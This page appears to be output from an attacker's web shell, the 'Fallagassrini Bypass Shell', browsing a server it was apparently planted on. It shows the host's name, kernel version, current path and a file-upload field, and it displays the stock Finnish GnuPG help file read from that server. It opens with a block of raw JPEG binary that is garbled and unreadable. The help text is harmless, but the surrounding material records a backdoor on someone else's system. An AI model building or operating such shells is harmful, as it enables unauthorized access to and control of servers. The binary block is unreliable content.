ÿŰÿàJFIFÿț;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 ÿÛC  !"$"$ÿÛCÿÀ$^"ÿÄ ÿÄ”}!1AQa"q2‘Ą#B±ÁRŃđ$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™šąŁ€„Š§š©ȘČłŽ”¶·žčșÂĂÄĆÆÇÈÉÊÒÓÔŐÖŚŰÙÚáâăäćæçèéêńòóôőöśűùúÿÄ ÿÄ”w!1AQaq"2B‘Ą±Á #3RđbrŃ $4á%ń&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™šąŁ€„Š§š©ȘČłŽ”¶·žčșÂĂÄĆÆÇÈÉÊÒÓÔŐÖŚŰÙÚâăäćæçèéêòóôőöśűùúÿÚ ?óÛÏ ĘCąęŽÜ^­ï‰"šÜ,k8`áÏ98Æ?ŸĂŸÔ.” s$Ö±Á$œČXwŠô_ŒZČÿÂżń2Äbęžł°łš97”8%žQŒ}s\őĆŽqXxzK1Č\@NȚ2€í<ÀÿJèÁàŐY{ĘlF/‘Z=N[ĆúÂxràBš}˜ûFàJÛš<yÇœwÿ 5żÒìoÛčœŁ^sńÂ(ź!łžŒ†òïfF*znÁ‡ș€“€5 `ZË}ńœŰҊ…’<ùTr‚mž5€W>"ž>Ir€{ƒ_+<ïĄ$$ÿ«ĄCé_UC)^šr2ö5óżdĆ:”(cŒ˜ûì⣕€U .f‹pêSȘnFÁŠżeȘ\‘™‚‘Ó°üë.ȚŐčÆ8«# ˜m=8­“i›ÚçO„^)RćÈ=ń^Éđ*_:öMüÆÎÀçżÊ3üĆxŸšĂ–8źkȚ>°Ó(”y“€D”NYœäàÒ”©/vÇ-]WÂZ’Ÿł}h[*’ȧĐțô'Âyćm&e·`Xg>•ò—Ăé%­ĂÌČyČăƒÎkè߆ș՞“„Kwwr‰Œd󞌎œ«ƒ•Î rŽÏ;ęąôM<›ĄÙ[AšêŃC€ozÊȘé+h%°œB’ÙÇäJcd‹Ž`ț*ǎôëŻűVz–„%Â6«}«G;Ł–mĄșíùĆc—ŐŠ~șbšč«_aÍaii©E4jPLă§ùĆUđ<öú€ÆŠ ŽvŒg?q~!ń”v–âÚc žŸDÚÜpA/ÈÁă­m|=Ö-nux–Ę^HÏȚ”±őț•ìȘ|ńmt<ÎYÇVz&“)â7FYYșžżZ«â/†úUÖ©w}-Ź@—upÎO%‰P? ±ŠHŻâMÐvžŒWašj0 †ŒČÊ0}k+[As[SÍcűy ‘ƒŻŃLż t9-0ęȘë]”ÈJô§‡ÂđiêhȘJۜÿ€ŽM:æ+ˆädè‰đé^đžÖĘuH€&^Ę á攉·KH€Ł?ĘńŻŁŸ ^]G§\›4ó›#rłíőÎ qRR“łGV!Żi~眩‹ąÜ]Ay6æO‰#g»žm­ëƒ&;úUŸÈòűV BHˆÎÜí ~Y8úš(Ż J4Ÿ»ù·ù¶{U–ç”ü|đæŸáÿ é1Ű4ć%œžv0?6#{ț•đŠötńŠŠŠĂ#+{Eő8vù?źìòêü?ŚcèÍ9R]^Q,hà#ÛùûÖÄiŠÒîá[Y€ÆÜüç'ŸŠ+x­Y䜑VÏRœ{ec1É•%Ÿ©|]ÔÎp=…VÔĄșĘÊș€Ó9ŠrOZčàśÚÄY æLš(„^*;öO'űƑYxűœŹQÂdŒčĘ”qœÈ~č5ì_uk«{yH$HčÏZ(Ż3 Ż)§ÜëÄü~GÿÙ Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/gnupg/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //usr/share/gnupg/help.fi.txt

# help.fi.txt - fi GnuPG online help
# Copyright (C) 2007 Free Software Foundation, Inc.
#
# This file is part of GnuPG.
#
# GnuPG is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
# 
# GnuPG is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program; if not, see <http://www.gnu.org/licenses/>.


.gpg.edit_ownertrust.value
TÀmÀn arvon mÀÀrittÀminen on sinun tehtÀvÀsi, tÀtÀ arvoa ei koskaan 
kerrota kolmansille osapuolille. Tarvitsemme sitÀ toteuttamaan 
luottamusverkko eikÀ sillÀ ei ole mitÀÀn tekemistÀ (epÀsuorasti luotujen) 
varmenneverkkojen kanssa.
.

.gpg.edit_ownertrust.set_ultimate.okay
Rakentaakseen luottamusverkon, GnuPG:n tÀytyy tietÀÀ mihin avaimiin 
luotetaan ehdottomasti - nÀmÀ ovat tavallisesti ne avaimet, joiden salainen 
pari on sinulla.  Vastaa "kyllÀ" luottaaksesi tÀhÀn avaimeen ehdoitta

.

.gpg.untrusted_key.override
Vastaa "kyllÀ" jos haluat kaikesta huolimatta kÀyttÀÀ tÀtÀ epÀluotettavaa
avainta.
.

.gpg.pklist.user_id.enter
SyötÀ vastaanottajan, jolle haluat lÀhettÀÀ viestin, kÀyttÀjÀtunnus.
.

.#gpg.keygen.algo
# fixme: Please translate and remove the hash mark from the key line.
Select the algorithm to use.

DSA (aka DSS) is the Digital Signature Algorithm and can only be used
for signatures.

Elgamal is an encrypt-only algorithm.

RSA may be used for signatures or encryption.

The first (primary) key must always be a key which is capable of signing.
.

.gpg.keygen.algo.rsa_se
YleensÀ ei ole jÀrkevÀÀ kÀyttÀÀ samaa avainta allekirjoitukseen
ja salaamiseen. TÀtÀ algorimiÀ tulisi kÀyttÀÀ vain mÀÀrÀtyissÀ ympÀristöissÀ.
Ole hyvÀ ja kysy tietoturva-asiantuntijaltasi ensin
.

.gpg.keygen.size
SyötÀ avaimen koko
.

.gpg.keygen.size.huge.okay
Vastaa "kyllÀ" tai " ei"
.

.gpg.keygen.size.large.okay
Vastaa "kyllÀ" tai " ei"
.

.gpg.keygen.valid
SyötÀ pyydetty arvo kuten nÀkyy kehotteessa.
On mahdollista syöttÀÀ ISO-muotoinen pÀivÀ (VVVV-KK-PP),
mutta sen seurauksena et saa kunnollista virheilmoitusta 
vaan jÀrjestelmÀ yrittÀÀ tulkita arvon aikajaksona.
.

.gpg.keygen.valid.okay
Vastaa "kyllÀ" tai " ei"
.

.gpg.keygen.name
Anna avaimen haltijan nimi
.

.gpg.keygen.email
anna vapaaehtoinen, mutta erittÀin suositeltava sÀhköpostiosoite
.

.gpg.keygen.comment
Kirjoita vapaaehtoinen huomautus
.

.gpg.keygen.userid.cmd
N   muuta nimeÀ
C   muuta kommenttia
E   muuta sÀhköpostiosoitetta
O   jatka avaimen luomista
L   lopeta
.

.gpg.keygen.sub.okay
Vastaa "kyllÀ" (tai vain "k") jos haluat luoda aliavaimen.
.

.gpg.sign_uid.okay
Vastaa "kyllÀ" tai " ei"
.

.gpg.sign_uid.class
Allekirjoittaessasi avaimen kÀyttÀjÀtunnuksen sinun tulisi varmista, ettÀ 
avain todella kuuluu henkilölle, joka mainitaan kÀyttÀjÀtunnuksessa.  Muiden 
on hyvÀ tietÀÀ kuinka huolellisesti olet varmistanut tÀmÀn. 

"0" tarkoittaa, ettÀ et vÀitÀ mitÀÀn siitÀ, kuinka huolellisesti olet
    varmistanut avaimen.

"1" tarkoittaa, ettÀ uskot avaimen kuuluvan henkilölle, joka vÀittÀÀ 
    hallitsevan sitÀ, mutta et voinut varmistaa tai et varmistanut avainta 
    lainkaan.  TÀmÀ on hyödyllinen "persoonan" varmistamiseen, jossa 
    allekirjoitat pseudonyymin kÀyttÀjÀn avaimen.

"2" tarkoittaa arkista varmistusta.  Esimerkiksi olet varmistanut 
    avaimen sormenjÀljen ja tarkistanut kÀyttÀjÀtunnuksen ja 
    valokuvatunnisteen tÀsmÀÀvÀn.

"3" tarkoittaa syvÀllistÀ henkilöllisyyden varmistamista.  Esimerkiksi 
    tÀmÀ voi tarkoittaa avaimen sormenjÀljen tarkistamista avaimen haltijan 
    kanssa henkilökohtaisesti, ja ettÀ tarkistit nimen avaimessa tÀsmÀÀvÀn 
    vaikeasti vÀÀrennettÀvÀn kuvallisen henkilöllisyystodistuksen (kuten 
    passi) kanssa, ja lopuksi varmistit (sÀhköpostin vaihtamisella), ettÀ 
    sÀhköpostiosoite kuuluu avaimen haltijalle.

Huomaa, ettÀ yllÀ annetut esimerkit tasoille 2 ja 3 ovat todellakin *vain* 
esimerkkejÀ.  Lopullisesti se on sinun pÀÀtöksesi mitÀ "arkinen" ja 
"syvÀllinen" tarkoittaa allekirjoittaessasi muita avaimia.

Jos et tiedÀ mikÀ olisi sopiva vastaus, vastaa "0".
.

.gpg.change_passwd.empty.okay
Vastaa "kyllÀ" tai " ei"
.

.gpg.keyedit.save.okay
Vastaa "kyllÀ" tai " ei"
.

.gpg.keyedit.cancel.okay
Vastaa "kyllÀ" tai " ei"
.

.#gpg.keyedit.sign_all.okay
# fixme: Please translate and remove the hash mark from the key line.
Answer "yes" if you want to sign ALL the user IDs
.

.gpg.keyedit.remove.uid.okay
Vastaa "kyllÀ", jos haluat poistaa tÀmÀn kÀyttÀjÀtunnuksen.
MenetÀt samalla kaikki siihen liittyvÀt varmenteet!
.

.gpg.keyedit.remove.subkey.okay
Vastaa "kyllÀ", jos aliavaimen voi poistaa
.

.gpg.keyedit.delsig.valid
TÀmÀ on voimassa oleva allekirjoitus tÀlle avaimelle, tavallisesti ei 
kannata poistaa tÀtÀ allekirjoitusta koska se saattaa olla tarpeen
luottamussuhteen luomiseksi avaimeen tai johonkin toiseen tÀmÀn avaimen
varmentamaan avaimeen.
.

.gpg.keyedit.delsig.unknown
Allekirjoitusta ei voida tarkistaa koska sinulla ei ole 
siihen liittyvÀÀ avainta. LykkÀÀ sen poistamista kunnes
 tiedÀt mitÀ avainta on kÀytetty, koska allekirjoitus 
avain saattaa luoda luottamusketjun toisen, jo ennalta 
varmennetun avaimen kautta.
.

.gpg.keyedit.delsig.invalid
Allekirjoitus ei ole pÀtevÀ.  JÀrkevintÀ olisi poistaa se 
avainrenkaastasi.
.

.gpg.keyedit.delsig.selfsig
TÀmÀ allekirjoitus takaa avaimen haltijan henkilöllisyyden. 
TĂ€llaisen allekirjoituksen poistaminen on tavallisesti huono 
ajatus.  GnuPG ei kenties voi kÀyttÀÀ avainta enÀÀ.  Poista 
allekirjoitus vain, jos se ei ole jostain syystÀ pÀtevÀ, ja 
avaimella on jo toinen allekirjoitus.
.

.gpg.keyedit.updpref.okay
Muuta valinnat kaikille kÀyttÀjÀtunnuksille (tai vain valituille)
nykyiseen luetteloon valinnoista.  Kaikkien muutettujen
oma-allekirjoitusten aikaleima siirretÀÀn yhdellÀ sekunnilla eteenpÀin.

.

.gpg.passphrase.enter
Ole hyvÀ ja syötÀ salasana, tÀmÀn on salainen lause 

.

.gpg.passphrase.repeat
Toista edellinen salasanasi varmistuaksesi siitÀ, mitÀ kirjoitit.
.

.gpg.detached_signature.filename
Anna allekirjoitetun tiedoston nimi
.

.gpg.openfile.overwrite.okay
Vastaa "kyllÀ", jos tiedoston voi ylikirjoittaa
.

.gpg.openfile.askoutname
SyötÀ uusi tiedostonimi. Jos painat vain RETURN, kÀytetÀÀn
oletustiedostoa (joka nÀkyy sulkeissa).
.

.gpg.ask_revocation_reason.code
Sinun tulisi mÀÀrittÀÀ syy varmenteelle. Riippuen asiayhteydestÀ
voit valita tÀstÀ listasta:
  "Avain on paljastunut"
      KÀytÀ tÀtÀ, jos sinulla on syytÀ uskoa, ettÀ luvattomat henkilöt 
      ovat saaneet salaisen avaimesi kÀsiinsÀ.
  "Avain on korvattu"
      KÀytÀ tÀtÀ, jos olet korvannut tÀmÀn uudemmalla avaimella.
  "Avain ei ole enÀÀ kÀytössÀ"
      KÀytÀ tÀtÀ, jost ole lopettanut tÀmÀn avaimen kÀytön.
  "KÀyttÀjÀtunnus ei ole enÀÀ voimassa"
      KÀytÀ tÀtÀ ilmoittamaan, ettÀ kÀyttÀjÀtunnusta ei pitÀisi kÀyttÀÀ;
      tÀtÀ normaalisti kÀytetÀÀn merkitsemÀÀn sÀhköpostiosoite vanhenneeksi.

.

.gpg.ask_revocation_reason.text
Halutessasi voit kirjoittaa tÀhÀn kuvauksen miksi julkaiset tÀmÀn
mitÀtöintivarmenteen.  Kirjoita lyhyesti.
TyhjÀ rivi pÀÀttÀÀ tekstin.

.



# Local variables:
# mode: fundamental
# coding: utf-8
# End:

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net